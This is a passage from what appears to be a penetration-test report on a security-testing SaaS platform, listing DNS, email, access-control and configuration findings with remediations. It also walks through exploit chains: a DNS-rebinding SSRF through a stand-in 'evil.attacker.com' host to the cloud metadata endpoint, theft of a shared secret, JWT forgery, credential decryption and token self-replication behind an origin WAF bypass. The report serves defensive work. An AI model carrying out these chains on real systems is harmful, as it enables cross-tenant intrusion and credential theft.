Additionally, consider migrating `token-crypto.ts` to use a dedicated `TOKEN_ENCRYPTION_KEY` separate from `SERVICE_JWT_SECRET` to fully decouple the credential encryption from JWT signing.

CVSS 3.1 LOW F-233

SPF Soft-Fail and DMARC Quarantine Policy Allow Spoofed Emails to Reach Spam Folders

SEVERITY	CVSS	AFFECTED
Low	3.1 (AV:N/AC:H/Au:N/C:N/I:L/A:N)	example.com DNS TXT records (SPF at apex, DMARC at _dmarc.example.com)

The SPF record uses `~all` (soft fail) instead of `-all` (hard fail), and the DMARC policy uses `p=quarantine` instead of `p=reject`. The combined effect is that emails spoofing `@example.com` that fail both SPF and DKIM alignment are quarantined (typically delivered to recipients' spam folders) rather than rejected outright at the SMTP level.

SPF record: `v=spf1 include:_spf.google.com ~all` **DMARC record:** `v=DMARC1; p=quarantine; rua=mailto:dmarc-reports@example.com; pct=100`

The SPF `~all` stance alone would allow many receivers to deliver spoofed emails to the inbox (soft fail is advisory). DMARC `p=quarantine` adds enforcement, receivers supporting DMARC will move failing messages to spam. However, `quarantine` is weaker than `reject`: spoofed emails still reach the recipient's mailbox (spam folder), can be discovered by users checking spam, and some receivers interpret "quarantine" loosely (e.g., adding a warning header rather than moving to spam).

The SPF lookup count is 1 (well within the 10-lookup limit). DMARC `pct=100` ensures full coverage. The `sp=` tag is absent, so subdomains inherit `p=quarantine`, consistent but also not fully enforced.

Evidence: `evidence/dns-email-audit.txt`

Remediation: 1. **Upgrade SPF to hard fail:** Change the SPF TXT record from `v=spf1 include:_spf.google.com ~all` to `v=spf1 include:_spf.google.com -all`. This tells receivers to reject (not just soft-fail) emails from unauthorized senders.

01 **Upgrade DMARC to reject:** Change the DMARC TXT record from `p=quarantine` to `p=reject`. Recommended record: `v=DMARC1; p=reject; sp=reject; rua=mailto:dmarc-reports@example.com; pct=100`

02 **Add explicit subdomain policy:** Add `sp=reject` to explicitly enforce rejection for all subdomains.

03 **Pre-check:** Before changing to `p=reject`, review DMARC aggregate reports (`rua`) to confirm no legitimate email sources are failing alignment. Google Workspace with DKIM enabled should align cleanly. If any third-party senders (marketing tools, transactional email) are in use, ensure they're DKIM-signing with example.com alignment or are included in SPF.

CVSS 2.3 | LOW | F-236

Developer Personal IP Address Hardcoded in Source-Controlled Database Allowlist

SEVERITY	CVSS	AFFECTED
Low	2.3 (AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N)	render.yaml line 217, databases[0].ipAllowList

COMPLIANCE

- PCI 4.0 7.2.1
- SOC 2 CC6.1, CC7.2
- ISO 27001 A.5.10, A.8.10
- NIST 800-53 AC-3, SC-28

The production database IP allowlist in `render.yaml` contains a hardcoded developer personal IP address (`203.0.113.42/32`, described as "dev-laptop"). This entry allows direct PostgreSQL connections from a developer's personal machine to the production Render-hosted database.

This is committed to source control, making the IP visible to all repository contributors. The IP is also the sole non-Render entry in the allowlist, indicating direct production database access without a VPN, bastion host, or jump server intermediary.

Counter-argument addressed: render.yaml is in a private repository, limiting exposure to team members, and database access additionally requires the DATABASE_URL credential. However, the IP still discloses the developer's network location to anyone with repo access and creates a static allowlist entry that doesn't rotate with ISP changes.

Evidence: `engagements/example-com/evidence/supply-chain-dep-inventory.txt`

Remediation: 1. Remove the hardcoded IP from render.yaml. Use Render's dashboard to manage temporary IP allowlist entries that expire automatically. 2. Route developer database access through a VPN or SSH bastion host rather than allowlisting personal IPs. 3. If direct IP allowlisting is necessary, manage it via Render CLI/API outside of source control, with automatic rotation. 4. Audit the git history to check if other personal IPs were previously committed and still active.

LOW F-238

Missing DNS CAA Records Allow Any Certificate Authority to Issue TLS Certificates

SEVERITY	CVSS	AFFECTED
Low	n/a	example.com DNS zone (CAA record absent)

COMPLIANCE

PCI 4.0 2.2.1

SOC 2 CC6.6, CC7.1

ISO 27001 A.8.9

NIST 800-53 CM-6

No CAA (Certification Authority Authorization) DNS records exist for `example.com`. This means any publicly-trusted certificate authority can issue TLS certificates for `example.com` and all subdomains without restriction.

Evidence:

```
$ dig example.com CAA +short
(no output)
```

In practice, all TLS certificates observed in the CT logs are issued by either Let's Encrypt (E8 intermediate) or Google Trust Services (WE1 intermediate). A CAA record restricting issuance to these CAs (e.g., `0 issue "letsencrypt.org"` and `0 issue "pki.goog"`) would prevent unauthorized issuance by any other CA in the event of a CA compromise or a social-engineering attack against another CA's validation process.

Remediation: Add CAA records restricting issuance to the CAs actually in use. In Cloudflare DNS for example.com, add:

```
example.com CAA 0 issue "letsencrypt.org"
example.com CAA 0 issue "pki.goog"
example.com CAA 0 issuewild "letsencrypt.org"
example.com CAA 0 issuewild "pki.goog"
example.com CAA 0 iodef "mailto:security@example.com"
```

This locks certificate issuance to Let's Encrypt (used for the wildcard and apex cert via Render/Cloudflare) and Google Trust Services (used for the Stripe checkout and Clerk subdomains), and routes CA violation reports to the security team.

LOW F-240

Auditor Role Exceeds Least Privilege: Read Access to Credential and API Token Metadata

SEVERITY	CVSS	AFFECTED
Low	n/a	GET /api/user-credentials, GET /api/source-repo-credentials, GET /api/api-tokens

COMPLIANCE

PCI 4.0 7.2.1, 7.2.4

SOC 2 CC6.1, CC6.3

ISO 27001 A.5.15, A.8.3

NIST 800-53 AC-3, AC-6

The `org:auditor` role is defined as "Read-only, view engagements/findings, export reports" with explicit permissions `['org:engagement:view', 'org:report:export']` (clerk-roles-sync.ts). However, three GET endpoints check only `request.orgId` without enforcing any specific permission:

01 `GET /api/user-credentials` (user-credentials.ts), returns credential metadata: `username`, `targetUrl`, `authKind`, `label`, `expiresAt`, `createdByClerkUserId`

02 `GET /api/source-repo-credentials` (source-repo-credentials.ts), returns repo credential metadata: `repoUrl`, `createdBy`, `lastUsedAt`

03 `GET /api/api-tokens` (api-tokens.ts), returns token metadata: `name`, `tokenPrefix`, `createdByClerkUserId`, `expiresAt`, `revokedAt`

Write operations on these resources correctly use `requireOrgWrite()` (blocking auditors). But the read operations have no permission gate, allowing auditors to enumerate all stored test credentials (usernames, target URLs), source-repo PAT metadata (repo URLs), and API token metadata (names, prefixes).

No plaintext secrets are returned by any GET endpoint. Evidence: `evidence/auditor-credential-read.txt`

Remediation: Add a `requirePermission` check to the three GET endpoints. Define a new permission `org:credentials:view` (or reuse an existing one like `org:repos:manage` in read-only mode), add it to the `org:member` role but NOT the `org:auditor` role, and gate the GET handlers:

```
// user-credentials.ts
fastify.get('/api/user-credentials', async (request, reply) => {
    if (!requirePermission(request, reply, 'org:credentials:view')) return
    // ...
})
```

Repeat for `GET /api/source-repo-credentials` and `GET /api/api-tokens`. Run `clerk:sync-roles` after updating the ROLES array to push the new permission binding to Clerk.

INFO F-222

Clerk Publishable Key Hardcoded in Production Bundle

SEVERITY	CVSS	AFFECTED
Info	n/a	https://example.com/assets/RootLayout-WKodL7EA.js

COMPLIANCE

PCI 4.0 7.2.1

SOC 2 CC6.1, CC7.2

ISO 27001 A.5.10, A.8.10

NIST 800-53 AC-3, SC-28

The Clerk publishable key `pk_live_Y2xlcmsuc3dhcm1zZWMuYWkk` is hardcoded as a string literal in the production JavaScript bundle `RootLayout-WKodL7EA.js`. It is set via Vite's `VITE_CLERK_PUBLISHABLE_KEY` build-time environment variable, which inlines it at build time into the distributed bundle.

Decoding the base64 component confirms the domain: `clerk.example.com$`.

This is expected behaviour for Clerk. Publishable keys (`pk_live_` / `pk_test_` prefix) are designed to be public, they identify the Clerk Frontend API instance and carry no elevated privilege. They do not grant API access, cannot be used to read user data, and are the equivalent of a Stripe publishable key. Clerk's documentation explicitly states that these keys are safe to embed in client-side code.

No Clerk secret key (`sk_live_`) was found in any bundle or source file.

Remediation: No remediation required. This is expected behaviour. If desired for defence-in-depth, ensure Clerk's allowed redirect URIs and JWT template restrictions are tightly scoped to example.com domains only (verify in the Clerk Dashboard under Paths → Allowed redirect URIs).

INFO F-223

Seven Previously Undocumented API Endpoints Discovered via Bundle Analysis

SEVERITY	CVSS	AFFECTED
Info	n/a	api.example.com, /api/engagements/:id/documents/report, /api/engagements/:id/start, /api/entitlements/match, /api/findings/:id/remediation (GET/POST/DELETE), /api/findings/remediation

COMPLIANCE

PCI 4.0 7.2.1, 7.2.4

SOC 2 CC6.1, CC6.3

ISO 27001 A.5.15, A.8.3

NIST 800-53 AC-3, AC-6

Static analysis of the production JavaScript bundles (`NewEngagement-QaIt0lOI.js`, `ReportViewer-Cqvabqo_.js`, `hooks-hr361KT8.js`) revealed seven API endpoints not previously catalogued in the recon attack surface. These endpoints are called by

authenticated React components but were not visible from the API server's public interface alone.

Newly discovered endpoints:

01 `GET /api/engagements/:id/documents/report`, fetches the structured report document for an engagement

02 `POST /api/engagements/:id/start`, initiates an engagement after source-repo consent is acknowledged

03 `GET /api/entitlements/match?target={url}`, checks whether an org holds an entitlement covering a given target URL (user-controlled query parameter)

04 `GET /api/findings/remediation`, returns all remediation records across the calling org

05 `GET /api/findings/:id/remediation`, returns remediation detail for a specific finding

06 `POST /api/findings/:id/remediation`, submits a remediation record for a finding

07 `DELETE /api/findings/:id/remediation`, removes a remediation record

Of particular interest: `/api/entitlements/match?target=` accepts a user-controlled URL parameter. It is invoked during checkout (`CheckoutPanel.tsx:90`) to verify whether the current org already owns an entitlement for the target. The exact server-side behaviour (whether it reads only the calling org's entitlements or could be used for cross-org probing) is unconfirmed from bundle analysis alone.

The `/api/findings/:id/remediation` family deserves auth testing to confirm that finding IDs scoped to other organisations cannot be accessed (cross-org IDOR on UUID-based finding IDs).

Evidence: `engagements/019dfe41-158f-7264-bb72-02a9dc9caaee/evidence/js-bundle-analysis.txt`

Remediation: 1. Verify all seven endpoints enforce `requireOrgMember` (or equivalent) and scope all queries to `req.auth.orgId`. 2. Confirm `/api/entitlements/match?target=` only reads entitlements owned by the calling org. 3. Confirm `/api/findings/:id/remediation` verifies the finding belongs to the calling org before any read/write operation.

INFO F-225

Anthropic Managed Environment ID Committed in .env.example

SEVERITY	CVSS	AFFECTED
Info	n/a	.env.example (line 12: MANAGED_ENV_ID=env_01ABCDEFGHIJKLMNOPQRSTUVWX)

COMPLIANCE

PCI 4.0 7.2.1

SOC 2 CC6.1, CC7.2

ISO 27001 A.5.10, A.8.10

NIST 800-53 AC-3, SC-28

The `.env.example` file (committed and distributed via `git clone`) contains a real Anthropic Managed Environment ID: `MANAGED_ENV_ID=env_01ABCDEFGHIJKLMNOPQRSTUVWX`. Unlike the other secrets in .env.example (ANTHROPIC_API_KEY, CLERK_SECRET_KEY, etc.) which have empty placeholder values, MANAGED_ENV_ID has the actual production environment identifier.

The file is confirmed distributed: `git ls-files .env.example` confirms it is tracked. The MANAGED_ENV_ID is the Anthropic environment under which all specialist sessions and agent orchestration runs (referenced at session-handler.ts:28,335 and render.yaml:192).

While this identifier is opaque and requires a valid ANTHROPIC_API_KEY to use, it leaks infrastructure metadata about the Anthropic workspace configuration. An attacker who separately obtains an API key would know the exact environment to target. Additionally, it confirms the target uses Anthropic Managed Agents (beta) infrastructure, which narrows the attack surface for any future Anthropic platform vulnerabilities.

All other secrets in render.yaml's acmeco-secrets group are properly configured with `sync: false` and empty placeholders in .env.example.

Remediation: Replace the hardcoded MANAGED_ENV_ID value in .env.example with an empty placeholder or a clearly-fake example value, consistent with how other secrets are handled:

```
MANAGED_ENV_ID=
```

Or with a comment:

```
MANAGED_ENV_ID= # Set to your Anthropic environment ID (env_...)
```

CVSS 0.0 | INFO | F-234

DNSSEC Not Enabled, DNS Responses Not Cryptographically Authenticated

SEVERITY	CVSS	AFFECTED
Info	0.0 (AV:N/AC:H/Au:N/C:N/I:N/A:N)	example.com DNS zone (Cloudflare-managed: ns1.cloudflare.com, ns2.cloudflare.com)

The example.com zone is not DNSSEC-signed. There are no DNSKEY records at the zone, no DS record at the `.ai` parent zone, no RRSIG records in responses, and the AD (Authenticated Data) flag is absent from resolver responses. Response flags observed: `QR RD RA` (no AD).

Without DNSSEC, DNS responses for example.com are not cryptographically authenticated. A sophisticated attacker with network-level access between resolvers and Cloudflare's nameservers could theoretically forge DNS responses, potentially modifying SPF/DMARC/DKIM TXT records, redirecting MX mail flow, or poisoning A/AAAA records to redirect traffic.

Cloudflare supports one-click DNSSEC enablement for managed zones. The `.ai` TLD supports DNSSEC (DS records can be published at the registrar). The fix requires enabling DNSSEC in the Cloudflare dashboard and adding the DS record at the domain registrar.

This is categorized as Info because exploiting the absence requires a network-positioned attacker capable of DNS cache poisoning or on-path MitM of DNS traffic, a high-prerequisite attack. HTTPS/TLS mitigates most traffic-redirect scenarios, and DMARC/DKIM provide email authentication independent of DNS integrity. DNSSEC is defense-in-depth.

Evidence: `evidence/dns-email-audit.txt`

Remediation: 1. **Enable DNSSEC in Cloudflare:** In the Cloudflare dashboard for example.com, navigate to DNS → Settings → DNSSEC and click Enable. Cloudflare will generate the DNSKEY and sign the zone automatically.

01 **Add DS record at registrar:** After enabling in Cloudflare, copy the DS record details provided and add them at your domain registrar for the .ai TLD. This completes the chain of trust from the root zone.

02 **Verify:** After propagation (24-48h), verify with: `dig example.com +dnssec`, look for RRSIG records and the AD flag in the response.

INFO F-235

MCP Transport Error Handler Leaks Internal Error Messages to Authenticated Callers

SEVERITY	CVSS	AFFECTED
Info	n/a	POST /mcp, apps/api/src/plugins/mcp.ts:186-195 (transport catch block)

COMPLIANCE

PCI 4.0 6.2.4 SOC 2 CC7.1 ISO 27001 A.5.27, A.8.10 NIST 800-53 SI-11

The MCP plugin has two error response paths with inconsistent information-disclosure postures:

01 **Top-level error handler** (line 75-85): Returns a generic `"internal error"` message. A comment explicitly states this is "deliberately generic to avoid leaking library internals (jwt parser state, base64 decoder messages, stack traces) to unauthenticated callers."

02 **Transport catch block** (line 186-195): Returns `err instanceof Error ? err.message : String(err)`, the raw error message from the MCP SDK transport or server connect call.

The transport catch fires after JWT authentication succeeds (the auth check on line 107 runs first), so only callers with a valid service JWT see these errors. The error messages originate from `@modelcontextprotocol/sdk@1.29.0`'s `StreamableHTTPServerTransport` and may contain SDK version identifiers, transport parsing state, internal function names, or serialization error details.

```
// line 186-195, leaks err.message
} catch (err) {
    fastify.log.error({ err }, 'mcp transport error')
    cleanup()
    if (!reply.raw.headersSent) {
        reply.raw.writeHead(500, { 'content-type': 'application/json' })
        reply.raw.end(
            JSON.stringify({
                jsonrpc: '2.0',
                id: null,
                error: { code: -32603, message: err instanceof Error ? err.message :
String(err) },
            }),
        )
    }
}
```

The inconsistency suggests the transport catch was written before the team hardened the top-level handler (the top-level handler's comment references a regression from 2026-04-21). Counter-argument addressed: the callers are internal service JWTs minted by the

server itself for AI agents, not human users or third parties. A prompt-injected agent is the plausible attacker, but such an agent already has the JWT's full context (engagementId, sandboxDir, agentSlug).

Remediation: Match the transport catch block to the top-level handler's pattern, return a generic message and log the detail server-side:

```
} catch (err) {
    fastify.log.error({ err }, 'mcp transport error')
    cleanup()
    if (!reply.raw.headersSent) {
        reply.raw.writeHead(500, { 'content-type': 'application/json' })
        reply.raw.end(
            JSON.stringify({
                jsonrpc: '2.0',
                id: null,
                error: { code: -32603, message: 'internal error' },
            }),
        )
    }
}
```

INFO F-237

Internal Workspace Packages Use Third-Party-Owned npm Scope @acmeco

SEVERITY	CVSS	AFFECTED
Info	n/a	All 11 workspace packages: @acmeco/api, @acmeco/tools, @acmeco/agents, @acmeco/cli, @acmeco/web, @acmeco/types, @acmeco/ui, @acmeco/scaffold, @acmeco/scripts, @acmeco/bench-runner, @acmeco/tsconfig

COMPLIANCE

PCI 4.0 6.3.3 SOC 2 CC7.1 ISO 27001 A.8.8 NIST 800-53 SI-2

All internal workspace packages use the `@acmeco/*` npm scope, which is owned by third-party developers `gritzko` and `olebedev` (maintainers of a CRDT/RON library). The `@acmeco/api` package already exists on npm (v0.1.1, MIT) as a completely different Swarm CRDT library.

Current mitigations are effective:

- All packages have `"private": true` preventing accidental npm publish
- pnpm `workspace:*` protocol always resolves to local workspace links
- `--frozen-lockfile` in build commands prevents resolution changes

Residual risk scenarios:

- If the build tooling changes (e.g., migrating from pnpm to npm/yarn without equivalent workspace config)
- If a contributor runs `npm install @acmeco/api` outside the monorepo context (would pull the CRDT library)

If the `@acmeco` scope owner registers additional package names matching workspace packages (only the scope owner can do this)

Verified via: `npm view @acmeco/api` returns a different package. All other @acmeco/* names return 404.

Evidence: `engagements/example-com/evidence/supply-chain-dep-inventory.txt`

Remediation: 1. **Consider migrating to a self-owned npm scope** (e.g., `@example/*` or `@acmesec/*`) that the organization controls on the npm registry. This eliminates the third-party scope dependency entirely. 2. **Add an .npmrc with `@acmeco:registry=` pointing to a private registry** (or use pnpm's `workspace:*` exclusion) as defense-in-depth against accidental public resolution. 3. **Document the scope situation** in CONTRIBUTING.md to warn contributors that `@acmeco` is not owned by example and should never be resolved from the public registry.

05 EXPLOIT CHAINS

#	CHAIN	FINDINGS	CVSS	IMPACT
C-53	SSRF via DNS Rebinding → Shared Secret Compromise → Total System Takeover	F-228, F-230, F-231	8.1	**Total system compromise across all organizations.** A single SSRF-to-secret-exfiltration yields:
C-52	Origin WAF Bypass Enables Invisible Token Persistence and Org Reconnaissance	F-232, F-239, F-227	7.6	A single leaked API token provides **persistent, irrevocable, and undetectable** org access. The attacker can: (1)...
C-51	SERVICE_JWT_SECRET Single Point of Failure, One Key Yields Cross-Tenant Platform Takeover	F-230, F-231	8.5	Compromise of one environment variable gives the attacker total platform access: (1) forge service JWTs to access...
C-50	API Token Self-Replication + Credential Metadata Bypass → Persistent Security Intelligence	F-239, F-227	5.6	Persistent, irrevocable surveillance of the organization's security testing program and credential infrastructure....
C-49	API Token → Engagement Injection → EchoLeak Viewer Surveillance	F-239, F-226	7.5	The attacker crosses from API-level access to browser-side surveillance. Every org member who views findings from...

#	CHAIN	FINDINGS	CVSS	IMPACT
C-48	API Token Leak + Origin Bypass → Persistent Irrevocable Org Takeover	F-232, F-239	7.7	A single API token leak escalates to persistent, irrevocable organizational access. The attacker can: (1) maintain...
C-47	Origin Bypass → SSRF to Cloud Metadata → Secret Exfiltration	F-232, F-228, F-230	8.2	If GCP metadata exposes environment variables on Render's infrastructure: complete platform compromise via...
C-46	Shared Secret Cascade → Cross-Tenant Platform Takeover via EchoLeak	F-230, F-231, F-226	8.7	Complete cross-tenant platform compromise. The attacker can: (1) read and modify all engagement data, findings, and...

CVSS 8.1 C-53

SSRF via DNS Rebinding → Shared Secret Compromise → Total System Takeover

CVSS	COMPLEXITY	FINDINGS
8.1	high	F-228 (DNS Rebinding TOCTOU in Credential), F-230 (SERVICE_JWT_SECRET Triple-Duty: JWT S...), F-231 (CLI JWT and Service JWT)

Attack path:

01 **Authenticate as org member (prerequisite):** Attacker has a valid Clerk session for any org (free signup, or compromised account). The credential helper endpoint requires `requireOrgWrite`, a Clerk admin or member session.

02 **Set up DNS rebinding infrastructure:** Attacker configures a domain (e.g., `evil.attacker.com`) with TTL=0 DNS records. The DNS server alternates responses: first query returns a public IP (e.g., `1.2.3.4`), subsequent queries return `169.254.169.254` (GCP metadata endpoint on Render's infrastructure).

03 **Exploit TOCTOU in credential helper (F-228):** Attacker calls `POST /api/credential-helper/discover-login` with `targetUrl: "https://evil.attacker.com"`. The handler at credential-helper.ts:141-160 performs two separate DNS resolutions:

Check (line 141): `isInternalHost(parsed.hostname)` calls `dns.lookup()` → resolves to `1.2.3.4` (public) → passes SSRF guard.

Use (line 150): `fetch(targetUrl)` triggers undici's independent DNS resolution → resolves to `169.254.169.254` (internal) → fetch hits GCP metadata endpoint. The TOCTOU window between check and use allows the DNS rebinding to succeed.

01 **Exfiltrate SERVICE_JWT_SECRET from metadata/internal services:** The fetch retrieves up to 50KB from the internal endpoint. On Render's GCP infrastructure, the metadata service may expose instance attributes, environment variables, or service account tokens. If `SERVICE_JWT_SECRET` is accessible via instance metadata or if the SSRF reaches internal configuration services, the single secret is extracted.

02 **Forge CLI JWTs for any user/org (F-231):** Because `CLI_JWT_SECRET` is not configured in production (render.yaml's acmeco-secrets group), `cli-jwt.ts:32` falls back to `SERVICE_JWT_SECRET`. With the compromised key, the attacker mints CLI JWTs with arbitrary `{ sub, orgId, jti, purpose: 'cli' }` payloads, 30-day validity, any user, any org. CLI JWTs bypass all `requirePermission()` checks (orgPermissions===null → auth-helpers.ts:60 returns true).

03 **Forge service JWTs for any engagement (F-230):** The same `SERVICE_JWT_SECRET` signs service JWTs containing `{ engagementId, clerkOrgId, agentSlug, sandboxDir, scope }`. The attacker forges service JWTs to access the MCP endpoint (`POST /mcp`) as any specialist on any engagement. MCP tools grant: `submit_finding`, `update_finding`, `file_read`, `file_write` on any engagement's sandbox directory, including customer source code.

04 **Decrypt all stored credentials (F-230):** `token-crypto.ts:54` derives the AES-256-GCM encryption key as `SHA-256(SERVICE_JWT_SECRET + ':greybox-token-v1')`. `CURRENT_KEY_VERSION` is 1, meaning all current credential rows use this derivation. With the key, the attacker decrypts every stored user credential password (`user_credentials` table) and every source repository PAT (`source_repo_credentials` table), plaintext customer login passwords and GitHub/GitLab personal access tokens for all orgs.

Impact: Total system compromise across all organizations. A single SSRF-to-secret-exfiltration yields:

01 **CLI JWT forgery (any user, any org, 30-day validity):** Full API access, create/cancel engagements, approve scope, start automated runs, read all findings, export reports, read credential metadata, manage API tokens. Bypasses all permission checks. Impersonates any user.

02 **Service JWT forgery (any engagement):** Full MCP tool access, submit/modify findings in any engagement, read/write sandbox files (including cloned customer source repositories), access engagement artifacts. Can inject false findings or exfiltrate customer code.

03 **Credential decryption:** Plaintext recovery of all stored customer login credentials (usernames + passwords for target applications) and all source repository PATs (GitHub/GitLab tokens granting access to customer private repos).

The blast radius is every org, every engagement, every stored credential, from a single environment variable.

Keystone remediation: Keystone fix: F-230, Separate the secrets. Deploying dedicated keys for each function (`CLI_JWT_SECRET`, `SERVICE_JWT_SECRET_V2` for credential encryption) limits the blast radius of any single key compromise. The codebase already supports this separation: `cli-jwt.ts` prefers `CLI_JWT_SECRET` with a fallback, and `token-crypto.ts` supports versioned key derivation. Only the render.yaml configuration needs updating.

Secondary fixes: (1) F-228: Pin DNS resolution, resolve once with `dns.lookup()`, validate the IP, then pass the resolved address to undici's `Agent` via `connect: { hostname: resolved.address }` to eliminate the TOCTOU window entirely. (2) F-231: Add

CLI_JWT_SECRET to render.yaml's acmeco-secrets group (config-only change, no code needed). (3) Migrate credential encryption to a dedicated CREDENTIAL_ENCRYPTION_KEY separate from any JWT signing secret.

CVSS 7.6 C-52

Origin WAF Bypass Enables Invisible Token Persistence and Org Reconnaissance

CVSS	COMPLEXITY	FINDINGS
7.6	medium	F-232 (Origin Server Directly Accessible), F-239 (API Token Self-Replication: Leaked Token), F-227 (Auditor Role Authorization Bypass on)

Attack path:

01 **Obtain leaked API token (prerequisite):** An API token (atk_...) leaks through a common vector: CI/CD logs, committed .env file, shared developer workstation, or supply-chain dependency. The token carries implicit full authority (orgPermissions===null bypasses all requirePermission checks per auth-helpers.ts:60).

02 **Discover origin hostname (F-232):** The Render origin hostname acmeco-api-x4f2.onrender.com is committed in test fixtures (submit-finding.integration.test.ts:251, similarity.test.ts:42) and partially derivable from render.yaml service name acmeco-api. The origin is publicly DNS-resolvable and TLS-accessible with zero origin protection, no CF-Connecting-IP validation, no Cloudflare IP allowlist, no Host header check.

03 **Connect directly to origin, bypassing Cloudflare entirely (F-232):** Attacker sends all subsequent requests to acmeco-api-x4f2.onrender.com instead of api.example.com. The Cloudflare managed bot challenge, WAF rules, DDoS protection, and rate limiting are completely bypassed. Cloudflare has zero visibility into this traffic.

04 **Mint clone tokens via origin (F-239):** Attacker calls `POST /api/api-tokens` with the leaked token in the Authorization header. `requirePermission('org:api_tokens:manage')` returns true because `orgPermissions === null` for API token auth paths. A new token `atk_yyy` is created. The clone records `createdByClerkUserId` of the original creator, no audit-trail distinction between human-created and token-created tokens. Attacker repeats to create multiple persistence tokens.

05 **Survive incident response:** Admin discovers the leaked token and revokes `atk_xxx`. Clone tokens (`atk_yyy`, `atk_zzz`) are separate DB rows and survive revocation. Standard incident response (revoke known token + review Cloudflare WAF logs) is fundamentally insufficient: the cloning activity never appeared in Cloudflare logs, and the clones are indistinguishable from legitimate tokens.

06 **Enumerate org intelligence via unprotected metadata endpoints (F-227):** The persistent clone token calls `GET /api/user-credentials` (returns target URLs, usernames, auth kinds), `GET /api/source-repo-credentials` (returns repo URLs, PAT metadata), and `GET /api/api-tokens` (returns token names, prefixes, lifecycle). These endpoints check only `request.orgId`, no permission gate. The attacker now knows which targets the org tests, which usernames are configured, which repositories have PATs, and the first 12 characters of every other API token.

07 **Exercise full org capabilities invisibly:** The persistent token can also create engagements (`POST /api/engagements`), approve scope and start automated pentest runs (`PATCH /api/engagements/:id/approve-scope`), initiate Stripe billing sessions (`POST /api/stripe/checkout`), and revoke OTHER org tokens (`DELETE /api/api-tokens/:id`). All via origin, all invisible to Cloudflare.

Impact: A single leaked API token provides **persistent, irrevocable, and undetectable** org access. The attacker can: (1) maintain indefinite access that survives token revocation by minting unlimited clones; (2) enumerate all credential metadata including test target URLs, usernames, repository inventory, and token prefixes, valuable intelligence for follow-on attacks; (3) create engagements and start automated pentest runs against arbitrary targets under the org's identity (reputational risk + Anthropic API cost drain); (4) revoke legitimate org tokens (denial of service to CI/CD pipelines); (5) initiate Stripe

checkout sessions. Standard incident response (Cloudflare log review + known token revocation) is completely blind to this activity, the entire attack lifecycle occurs at the Render origin with zero WAF telemetry.

Keystone remediation: Keystone fix: F-232 (Origin protection). Adding a Fastify `onRequest` hook that validates `CF-Connecting-IP` header or checks request source against Cloudflare's published IP ranges breaks this chain at Step 3, the attacker can no longer reach the origin to perform invisible token operations. This single fix also degrades the viability of the SSRF chain (C-002) by restoring WAF monitoring.

Secondary fixes: (1) F-239: Change `POST /api/api-tokens` and `DELETE /api/api-tokens/:id` to use `requireOrgWrite()` instead of `requirePermission()`, blocks API tokens from self-replicating even if origin protection is bypassed. (2) F-227: Add `requirePermission` checks to the three GET credential metadata endpoints to restrict access to authorized roles only.

CVSS 8.5 C-51

SERVICE_JWT_SECRET Single Point of Failure, One Key Yields Cross-Tenant Platform Takeover

CVSS	COMPLEXITY	FINDINGS
8.5	medium	F-230 (SERVICE_JWT_SECRET Triple-Duty: JWT S...), F-231 (CLI JWT and Service JWT)

Attack path:

01 Attacker obtains SERVICE_JWT_SECRET through any available vector, the SSRF→metadata chain (C-047), log injection, compromised developer workstation, Render dashboard access, or insider access to the acmeco-secrets environment group.

02 **Forge Service JWTs for cross-tenant MCP access (F-230):** SERVICE_JWT_SECRET is the HS256 signing key for 3-hour service JWTs (service-jwt.ts). The attacker mints tokens with arbitrary `engagementId`, `clerkOrgId`, `agentSlug`, `sandboxDir`, and `scope`

fields, targeting any engagement in any org on the platform. Each forged JWT grants full MCP tool access: `submit_finding`, `update_finding`, `file_read`, `file_write` on the target engagement's sandbox. The attacker reads all findings, evidence files, scope documents, and customer source code across every tenant.

03 **Forge CLI JWTs for full API access to every org (F-231):** `CLI_JWT_SECRET` is not configured in production, render.yaml's `acmeco-secrets` group does not include it, so `cli-jwt.ts:32` falls back to `SERVICE_JWT_SECRET`. The attacker forges 30-day CLI JWTs with `{ sub: ANY_USER_ID, orgId: ANY_ORG_ID, jti: RANDOM, purpose: 'cli' }`. CLI JWTs set `orgPermissions = null` in the auth plugin, and `requirePermission()` returns `true` when `orgPermissions === null` (auth-helpers.ts:60). This grants the attacker full API access to every org: create engagements (`POST /api/engagements`), approve scope and launch scans (`PATCH /api/engagements/:id/approve-scope`), mint and revoke API tokens (`POST/DELETE /api/api-tokens`), read all credential metadata (`GET /api/user-credentials`, `/api/source-repo-credentials`, `/api/api-tokens`), initiate Stripe checkouts (`POST /api/stripe/checkout`), and export audit trails.

04 **Derive credential encryption key (F-230):** `token-crypto.ts:54` derives the AES-256-GCM encryption key as `SHA-256(SERVICE_JWT_SECRET + ':greybox-token-v1')`. With this derived key, if the attacker obtains encrypted credential ciphertext (via the database access path in C-047, or any future SQL injection), all stored user credentials (passwords used for target-site login) and source-repo PATs (GitHub/GitLab tokens) can be decrypted offline.

Combined effect: A single environment variable (`SERVICE_JWT_SECRET`) yields three independent attack capabilities that would normally require separate keys: service JWT forgery (cross-tenant MCP), CLI JWT forgery (cross-tenant API), and credential decryption key derivation. The code already supports separation, `cli-jwt.ts` prefers `CLI_JWT_SECRET`, `token-crypto.ts` supports versioned keys via `SERVICE_JWT_SECRET_V2`, but neither is deployed in production. The vulnerability is a deployment configuration gap, not a code deficiency.

Impact: Compromise of one environment variable gives the attacker total platform access: (1) forge service JWTs to access MCP tools for any engagement in any org, read/write sandbox files, submit/modify findings, access customer source code; (2) forge 30-day CLI JWTs for full API access to every org, create engagements, launch scans, manage tokens, read credential metadata, initiate billing; (3) derive the AES-256-GCM key

to decrypt all stored user credentials and source-repo PATs (requires additional database access). Unlike C-046 (which requires F-226/EchoLeak for browser-side delivery), this chain produces complete infrastructure compromise even if all rendering vulnerabilities are fixed.

Keystone remediation: Keystone fix: Deploy CLI_JWT_SECRET as a separate environment variable (F-231). The code already prefers it at cli-jwt.ts:32, this is a config-only change. Add `CLI_JWT_SECRET` to render.yaml's acmeco-secrets group and set it in the Render dashboard. This immediately decouples CLI JWT signing from service JWT signing and credential encryption, reducing the blast radius of any single key compromise from three security functions to one.

Defense-in-depth: Deploy `SERVICE_JWT_SECRET_V2` and bump `CURRENT_KEY_VERSION` in token-crypto.ts from 1 to 2. This decouples credential encryption from JWT signing. The daily `reencryptStaleCredentials` sweep migrates existing rows. Once all rows are at v=2, the original SERVICE_JWT_SECRET only signs service JWTs, its minimum viable scope.

CVSS 5.6 | C-50

API Token Self-Replication + Credential Metadata Bypass → Persistent Security Intelligence

CVSS	COMPLEXITY	FINDINGS
5.6	low	F-239 (API Token Self-Replication: Leaked Token), F-227 (Auditor Role Authorization Bypass on)

